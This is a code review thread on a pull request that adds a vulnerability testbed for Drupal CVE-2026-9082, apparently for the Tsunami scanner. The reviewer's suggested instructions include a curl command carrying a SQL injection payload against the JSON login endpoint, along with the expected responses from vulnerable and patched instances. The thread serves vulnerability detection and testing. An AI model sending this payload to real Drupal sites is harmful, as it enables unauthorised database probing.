TestBeds/CVE-2026-9082

[sanjaymahajan14]

Added testbed for Drupal CVE-2026-9082. Please review and approve it.

[robert-doyensec]

Looks good, please add instructions to test the vulnerability without the Tsunami plugin

[robert-doyensec]

Suggested change

	### Testing the vulnerability:
	```
	curl -X POST http://localhost:8080/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}"
	```
	Response:
	```
	The website encountered an unexpected error. Try again later.
	```

[robert-doyensec]

Suggested change

	Admin Email: admin@example.com
	Admin Email: admin@example.com
	### Testing the vulnerability:
	```
	curl -X POST http://localhost:8081/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}"
	```
	Response:
	```
	{"message":"Sorry, unrecognized username or password."}
	```